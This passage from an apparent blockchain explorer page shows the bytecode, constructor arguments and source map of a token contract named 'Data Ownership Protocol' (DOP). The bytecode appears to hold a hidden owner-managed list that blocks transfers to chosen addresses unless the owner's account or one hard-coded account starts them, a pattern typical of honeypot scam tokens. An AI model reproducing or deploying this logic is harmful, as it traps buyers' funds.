181035f83015261267181612638565b9050919050565b5f60a08201905061268b5f830188611cd1565b6126986020830187611cd1565b6126a56040830186611cd1565b6126b26060830185611c1c565b6126bf6080830184611cf9565b9695505050505050565b5f6080820190506126dc5f830187611cd1565b6126e96020830186611ca0565b6126f66040830185611cd1565b6127036060830184611cd1565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61277082611b78565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127a2576127a161204b565b5b60018201905091905056fea2646970667358221220e29488ced8246c617c55a7013c6dca5cc457a2590290bf513faabd1f3f66716264736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000005758f47c0000000000000000000000000000000000000000000000000000000000000001744617461204f776e6572736869702050726f746f636f6c0000000000000000000000000000000000000000000000000000000000000000000000000000000003444f500000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80637d6dff7d116100b6578063a457c2d71161007a578063a457c2d71461036c578063a9059cbb1461039c578063d505accf146103cc578063dd62ed3e146103e8578063f2fde38b14610418578063f8a8fd6d1461043457610140565b80637d6dff7d146102c05780637ecebe00146102dc57806384b0196e1461030c5780638da5cb5b1461033057806395d89b411461034e57610140565b80633644e515116101085780633644e515146101fe578063395093511461021c5780633ee52f991461024c57806340c10f191461026a57806370a0823114610286578063715018a6146102b657610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c610452565b6040516101599190611afa565b60405180910390f35b61017c60048036038101906101779190611bab565b6104e2565b6040516101899190611c03565b60405180910390f35b61019a610504565b6040516101a79190611c2b565b60405180910390f35b6101ca60048036038101906101c59190611c44565b61050d565b6040516101d79190611c03565b60405180910390f35b6101e861053b565b6040516101f59190611caf565b60405180910390f35b610206610543565b6040516102139190611ce0565b60405180910390f35b61023660048036038101906102319190611bab565b610551565b6040516102439190611c03565b60405180910390f35b610254610587565b6040516102619190611d08565b60405180910390f35b610284600480360381019061027f9190611bab565b6105ac565b005b6102a0600480360381019061029b9190611d21565b6105c2565b6040516102ad9190611c2b565b60405180910390f35b6102be610608565b005b6102da60048036038101906102d59190611d21565b61061b565b005b6102f660048036038101906102f19190611d21565b6106f3565b6040516103039190611c2b565b60405180910390f35b610314610704565b6040516103279796959493929190611e3d565b60405180910390f35b6103386107a9565b6040516103459190611d08565b60405180910390f35b6103566107d0565b6040516103639190611afa565b60405180910390f35b61038660048036038101906103819190611bab565b610860565b6040516103939190611c03565b60405180910390f35b6103b660048036038101906103b19190611bab565b6108d5565b6040516103c39190611c03565b60405180910390f35b6103e660048036038101906103e19190611f13565b6108f7565b005b61040260048036038101906103fd9190611fb0565b610a3c565b60405161040f9190611c2b565b60405180910390f35b610432600480360381019061042d9190611d21565b610abe565b005b61043c610b40565b6040516104499190611d08565b60405180910390f35b6060600480546104619061201b565b80601f016020809104026020016040519081016040528092919081815260200182805461048d9061201b565b80156104d85780601f106104af576101008083540402835291602001916104d8565b820191905f5260205f20905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b5f806104ec610b65565b90506104f9818585610b6c565b600191505092915050565b5f600354905090565b5f80610517610b65565b9050610524858285610d2f565b61052f858585610dba565b60019150509392505050565b5f6006905090565b5f61054c611027565b905090565b5f8061055b610b65565b905061057c81858561056d8589610a3c565b6105779190612078565b610b6c565b600191505092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6105b46110dd565b6105be8282611163565b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106106110dd565b6106195f6112b0565b565b6106236107a9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610687906120f5565b60405180910390fd5b600881908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6106fd82611371565b9050919050565b5f6060805f805f60606107156113b7565b61071d6113f2565b46305f801b5f67ffffffffffffffff81111561073c5761073b612113565b5b60405190808252806020026020018201604052801561076a5781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107df9061201b565b80601f016020809104026020016040519081016040528092919081815260200182805461080b9061201b565b80156108565780601f1061082d57610100808354040283529160200191610856565b820191905f5260205f20905b81548152906001019060200180831161083957829003601f168201915b5050505050905090565b5f8061086a610b65565b90505f6108778286610a3c565b9050838110156108bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b3906121b0565b60405180910390fd5b6108c98286868403610b6c565b60019250505092915050565b5f806108df610b65565b90506108ec818585610dba565b600191505092915050565b8342111561093c57836040517f627913020000000000000000000000000000000000000000000000000000000081526004016109339190611c2b565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861096a8c61142d565b89604051602001610980969594939291906121ce565b6040516020818303038152906040528051906020012090505f6109a282611480565b90505f6109b182878787611499565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a2557808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610a1c92919061222d565b60405180910390fd5b610a308a8a8a610b6c565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ac66110dd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906122c4565b60405180910390fd5b610b3d816112b0565b50565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd190612352565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f906123e0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d229190611c2b565b60405180910390a3505050565b5f610d3a8484610a3c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610db45781811015610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d90612448565b60405180910390fd5b610db38484848403610b6c565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906124d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90612564565b60405180910390fd5b610e9f826114c7565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a906125f2565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161100e9190611c2b565b60405180910390a36110218484846114e0565b50505050565b5f7f000000000000000000000000cbd42c14f31084f06d56a6b124a7366d6035936373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff161480156110a257507f000000000000000000000000000000000000000000000000000000000000000146145b156110cf577f036f4d049d70bcdc3f24de30efd7f20726d51e31526242ad68e4062d95c0f5ec90506110da565b6110d76114e5565b90505b90565b3273ffffffffffffffffffffffffffffffffffffffff166110fc6107a9565b73ffffffffffffffffffffffffffffffffffffffff161480611122575061112161157a565b5b611161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611158906122c4565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061265a565b60405180910390fd5b6111da826114c7565b8060035f8282546111eb9190612078565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112999190611c2b565b60405180910390a36112ac5f83836114e0565b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606113ed60097f44617461204f776e6572736869702050726f746f636f6c0000000000000000176115d290919063ffffffff16565b905090565b6060611428600a7f31000000000000000000000000000000000000000000000000000000000000016115d290919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f61149261148c611027565b8361167f565b9050919050565b5f805f806114a9888888886116bf565b9250925092506114b982826117a6565b829350505050949350505050565b6114d081611908565b6114dd576114dc6110dd565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7fa42c0c045dd034e77a5fb2d505eaf58fe1a4d32ca623ec82477faa47844b37d27fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200161155f959493929190612678565b60405160208183030381529060405280519060200120905090565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036115cb57600190506115cf565b5f90505b90565b606060ff5f1b83146115ee576115e7836119b0565b9050611679565b8180546115fa9061201b565b80601f01602080910402602001604051908101604052809291908181526020018280546116269061201b565b80156116715780601f1061164857610100808354040283529160200191611671565b820191905f5260205f20905b81548152906001019060200180831161165457829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c11156116fb575f60038592509250925061179c565b5f6001888888886040515f815260200160405260405161171e94939291906126c9565b6020604051602081039080840390855afa15801561173e573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361178f575f60015f801b9350935093505061179c565b805f805f1b935093509350505b9450945094915050565b5f60038111156117b9576117b861270c565b5b8260038111156117cc576117cb61270c565b5b031561190457600160038111156117e6576117e561270c565b5b8260038111156117f9576117f861270c565b5b03611830576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260038111156118445761184361270c565b5b8260038111156118575761185661270c565b5b0361189b57805f1c6040517ffce698f70000000000000000000000000000000000000000000000000000000081526004016118929190611c2b565b60405180910390fd5b6003808111156118ae576118ad61270c565b5b8260038111156118c1576118c061270c565b5b0361190357806040517fd78bce0c0000000000000000000000000000000000000000000000000000000081526004016118fa9190611ce0565b60405180910390fd5b5b5050565b5f805f90505b6008805490508110156119a5578273ffffffffffffffffffffffffffffffffffffffff166008828154811061194657611945612739565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611992575f9150506119ab565b808061199d90612766565b91505061190e565b50600190505b919050565b60605f6119bc83611a22565b90505f602067ffffffffffffffff8111156119da576119d9612113565b5b6040519080825280601f01601f191660200182016040528015611a0c5781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611a67576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611aa7578082015181840152602081019050611a8c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611acc82611a70565b611ad68185611a7a565b9350611ae6818560208601611a8a565b611aef81611ab2565b840191505092915050565b5f6020820190508181035f830152611b128184611ac2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b4782611b1e565b9050919050565b611b5781611b3d565b8114611b61575f80fd5b50565b5f81359050611b7281611b4e565b92915050565b5f819050919050565b611b8a81611b78565b8114611b94575f80fd5b50565b5f81359050611ba581611b81565b92915050565b5f8060408385031215611bc157611bc0611b1a565b5b5f611bce85828601611b64565b9250506020611bdf85828601611b97565b9150509250929050565b5f8115159050919050565b611bfd81611be9565b82525050565b5f602082019050611c165f830184611bf4565b92915050565b611c2581611b78565b82525050565b5f602082019050611c3e5f830184611c1c565b92915050565b5f805f60608486031215611c5b57611c5a611b1a565b5b5f611c6886828701611b64565b9350506020611c7986828701611b64565b9250506040611c8a86828701611b97565b9150509250925092565b5f60ff82169050919050565b611ca981611c94565b82525050565b5f602082019050611cc25f830184611ca0565b92915050565b5f819050919050565b611cda81611cc8565b82525050565b5f602082019050611cf35f830184611cd1565b92915050565b611d0281611b3d565b82525050565b5f602082019050611d1b5f830184611cf9565b92915050565b5f60208284031215611d3657611d35611b1a565b5b5f611d4384828501611b64565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611d8081611d4c565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611db881611b78565b82525050565b5f611dc98383611daf565b60208301905092915050565b5f602082019050919050565b5f611deb82611d86565b611df58185611d90565b9350611e0083611da0565b805f5b83811015611e30578151611e178882611dbe565b9750611e2283611dd5565b925050600181019050611e03565b5085935050505092915050565b5f60e082019050611e505f83018a611d77565b8181036020830152611e628189611ac2565b90508181036040830152611e768188611ac2565b9050611e856060830187611c1c565b611e926080830186611cf9565b611e9f60a0830185611cd1565b81810360c0830152611eb18184611de1565b905098975050505050505050565b611ec881611c94565b8114611ed2575f80fd5b50565b5f81359050611ee381611ebf565b92915050565b611ef281611cc8565b8114611efc575f80fd5b50565b5f81359050611f0d81611ee9565b92915050565b5f805f805f805f60e0888a031215611f2e57611f2d611b1a565b5b5f611f3b8a828b01611b64565b9750506020611f4c8a828b01611b64565b9650506040611f5d8a828b01611b97565b9550506060611f6e8a828b01611b97565b9450506080611f7f8a828b01611ed5565b93505060a0611f908a828b01611eff565b92505060c0611fa18a828b01611eff565b91505092959891949750929550565b5f8060408385031215611fc657611fc5611b1a565b5b5f611fd385828601611b64565b9250506020611fe485828601611b64565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061203257607f821691505b60208210810361204557612044611fee565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61208282611b78565b915061208d83611b78565b92508282019050808211156120a5576120a461204b565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f6120df600983611a7a565b91506120ea826120ab565b602082019050919050565b5f6020820190508181035f83015261210c816120d3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61219a602583611a7a565b91506121a582612140565b604082019050919050565b5f6020820190508181035f8301526121c78161218e565b9050919050565b5f60c0820190506121e15f830189611cd1565b6121ee6020830188611cf9565b6121fb6040830187611cf9565b6122086060830186611c1c565b6122156080830185611c1c565b61222260a0830184611c1c565b979650505050505050565b5f6040820190506122405f830185611cf9565b61224d6020830184611cf9565b9392505050565b7f6578616d696e6174696f6e2c50726f74656374696e672074686520736d6172745f8201527f20636f6e74726163740000000000000000000000000000000000000000000000602082015250565b5f6122ae602983611a7a565b91506122b982612254565b604082019050919050565b5f6020820190508181035f8301526122db816122a2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61233c602483611a7a565b9150612347826122e2565b604082019050919050565b5f6020820190508181035f83015261236981612330565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123ca602283611a7a565b91506123d582612370565b604082019050919050565b5f6020820190508181035f8301526123f7816123be565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612432601d83611a7a565b915061243d826123fe565b602082019050919050565b5f6020820190508181035f83015261245f81612426565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124c0602583611a7a565b91506124cb82612466565b604082019050919050565b5f6020820190508181035f8301526124ed816124b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61254e602383611a7a565b9150612559826124f4565b604082019050919050565b5f6020820190508181035f83015261257b81612542565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125dc602683611a7a565b91506125e782612582565b604082019050919050565b5f6020820190508181035f830152612609816125d0565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f612644601f83611a7a565b915061264f82612610565b602082019050919050565b5f6020820190508181035f83015261267181612638565b9050919050565b5f60a08201905061268b5f830188611cd1565b6126986020830187611cd1565b6126a56040830186611cd1565b6126b26060830185611c1c565b6126bf6080830184611cf9565b9695505050505050565b5f6080820190506126dc5f830187611cd1565b6126e96020830186611ca0565b6126f66040830185611cd1565b6127036060830184611cd1565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61277082611b78565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127a2576127a161204b565b5b60018201905091905056fea2646970667358221220e29488ced8246c617c55a7013c6dca5cc457a2590290bf513faabd1f3f66716264736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000005758f47c0000000000000000000000000000000000000000000000000000000000000001744617461204f776e6572736869702050726f746f636f6c0000000000000000000000000000000000000000000000000000000000000000000000000000000003444f500000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _tokenName (string): Data Ownership Protocol
Arg [1] : _tokenSymbol (string): DOP
Arg [2] : _mintAmount (uint256): 23447160768

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000005758f47c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000017
Arg [4] : 44617461204f776e6572736869702050726f746f636f6c000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 444f500000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

36587:429:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29192:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30148:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29522:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30362:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29417:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36261:114;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30635:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28965:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36904:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29643:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26297:103;;;:::i;:::-;;31505:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;36105:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19876:580;;;:::i;:::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;26029:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29305:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31022:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29783:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35396:695;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29984:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26413:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29005:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29192:100;29246:13;29279:5;29272:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29192:100;:::o;30148:201::-;30231:4;30248:13;30264:12;:10;:12::i;:::-;30248:28;;30287:32;30296:5;30303:7;30312:6;30287:8;:32::i;:::-;30337:4;30330:11;;;30148:201;;;;:::o;29522:108::-;29583:7;29610:12;;29603:19;;29522:108;:::o;30362:261::-;30459:4;30476:15;30494:12;:10;:12::i;:::-;30476:30;;30517:38;30533:4;30539:7;30548:6;30517:15;:38::i;:::-;30566:27;30576:4;30582:2;30586:6;30566:9;:27::i;:::-;30611:4;30604:11;;;30362:261;;;;;:::o;29417:92::-;29475:5;29500:1;29493:8;;29417:92;:::o;36261:114::-;36320:7;36347:20;:18;:20::i;:::-;36340:27;;36261:114;:::o;30635:238::-;30723:4;30740:13;30756:12;:10;:12::i;:::-;30740:28;;30779:64;30788:5;30795:7;30832:10;30804:25;30814:5;30821:7;30804:9;:25::i;:::-;:38;;;;:::i;:::-;30779:8;:64::i;:::-;30861:4;30854:11;;;30635:238;;;;:::o;28965:33::-;;;;;;;;;;;;;:::o;36904:95::-;25985:10;:8;:10::i;:::-;36974:17:::1;36980:2;36984:6;36974:5;:17::i;:::-;36904:95:::0;;:::o;29643:127::-;29717:7;29744:9;:18;29754:7;29744:18;;;;;;;;;;;;;;;;29737:25;;29643:127;;;:::o;26297:103::-;25985:10;:8;:10::i;:::-;26362:30:::1;26389:1;26362:18;:30::i;:::-;26297:103::o:0;31505:140::-;31584:7;:5;:7::i;:::-;31570:21;;:10;:21;;;31562:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;31616:7;31629;31616:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31505:140;:::o;36105:145::-;36196:7;36223:19;36236:5;36223:12;:19::i;:::-;36216:26;;36105:145;;;:::o;19876:580::-;19979:13;20007:18;20040:21;20076:15;20106:25;20146:12;20173:27;20281:13;:11;:13::i;:::-;20309:16;:14;:16::i;:::-;20340:13;20376:4;20404:1;20396:10;;20435:1;20421:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20228:220;;;;;;;;;;;;;;;;;;;;;19876:580;;;;;;;:::o;26029:87::-;26075:7;26102:6;;;;;;;;;;;26095:13;;26029:87;:::o;29305:104::-;29361:13;29394:7;29387:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29305:104;:::o;31022:436::-;31115:4;31132:13;31148:12;:10;:12::i;:::-;31132:28;;31171:24;31198:25;31208:5;31215:7;31198:9;:25::i;:::-;31171:52;;31262:15;31242:16;:35;;31234:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;31355:60;31364:5;31371:7;31399:15;31380:16;:34;31355:8;:60::i;:::-;31446:4;31439:11;;;;31022:436;;;;:::o;29783:193::-;29862:4;29879:13;29895:12;:10;:12::i;:::-;29879:28;;29918;29928:5;29935:2;29939:6;29918:9;:28::i;:::-;29964:4;29957:11;;;29783:193;;;;:::o;35396:695::-;35626:8;35608:15;:26;35604:99;;;35682:8;35658:33;;;;;;;;;;;:::i;:::-;;;;;;;;35604:99;35715:18;35089:95;35774:5;35781:7;35790:5;35797:16;35807:5;35797:9;:16::i;:::-;35815:8;35746:78;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;35736:89;;;;;;35715:110;;35838:12;35853:28;35870:10;35853:16;:28::i;:::-;35838:43;;35894:14;35911:28;35925:4;35931:1;35934;35937;35911:13;:28::i;:::-;35894:45;;35964:5;35954:15;;:6;:15;;;35950:90;;36014:6;36022:5;35993:35;;;;;;;;;;;;:::i;:::-;;;;;;;;35950:90;36052:31;36061:5;36068:7;36077:5;36052:8;:31::i;:::-;35593:498;;;35396:695;;;;;;;:::o;29984:151::-;30073:7;30100:11;:18;30112:5;30100:18;;;;;;;;;;;;;;;:27;30119:7;30100:27;;;;;;;;;;;;;;;;30093:34;;29984:151;;;;:::o;26413:204::-;25985:10;:8;:10::i;:::-;26522:1:::1;26502:22;;:8;:22;;::::0;26494:76:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;26581:28;26600:8;26581:18;:28::i;:::-;26413:204:::0;:::o;29005:19::-;;;;;;;;;;;;;:::o;25333:98::-;25386:7;25413:10;25406:17;;25333:98;:::o;33763:346::-;33882:1;33865:19;;:5;:19;;;33857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;33963:1;33944:21;;:7;:21;;;33936:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34047:6;34017:11;:18;34029:5;34017:18;;;;;;;;;;;;;;;:27;34036:7;34017:27;;;;;;;;;;;;;;;:36;;;;34085:7;34069:32;;34078:5;34069:32;;;34094:6;34069:32;;;;;;:::i;:::-;;;;;;;;33763:346;;;:::o;34123:419::-;34224:24;34251:25;34261:5;34268:7;34251:9;:25::i;:::-;34224:52;;34311:17;34291:16;:37;34287:248;;34373:6;34353:16;:26;;34345:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34457:51;34466:5;34473:7;34501:6;34482:16;:25;34457:8;:51::i;:::-;34287:248;34213:329;34123:419;;;:::o;31918:642::-;32031:1;32015:18;;:4;:18;;;32007:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32108:1;32094:16;;:2;:16;;;32086:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;32165:24;32186:2;32165:20;:24::i;:::-;32202:19;32224:9;:15;32234:4;32224:15;;;;;;;;;;;;;;;;32202:37;;32273:6;32258:11;:21;;32250:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;32390:6;32376:11;:20;32358:9;:15;32368:4;32358:15;;;;;;;;;;;;;;;:38;;;;32441:6;32424:9;:13;32434:2;32424:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;32491:2;32476:26;;32485:4;32476:26;;;32495:6;32476:26;;;;;;:::i;:::-;;;;;;;;32515:37;32535:4;32541:2;32545:6;32515:19;:37::i;:::-;31996:564;31918:642;;;:::o;19214:268::-;19267:7;19308:11;19291:28;;19299:4;19291:28;;;:63;;;;;19340:14;19323:13;:31;19291:63;19287:188;;;19378:22;19371:29;;;;19287:188;19440:23;:21;:23::i;:::-;19433:30;;19214:268;;:::o;26129:155::-;26201:9;26190:20;;:7;:5;:7::i;:::-;:20;;;:40;;;;26214:16;:14;:16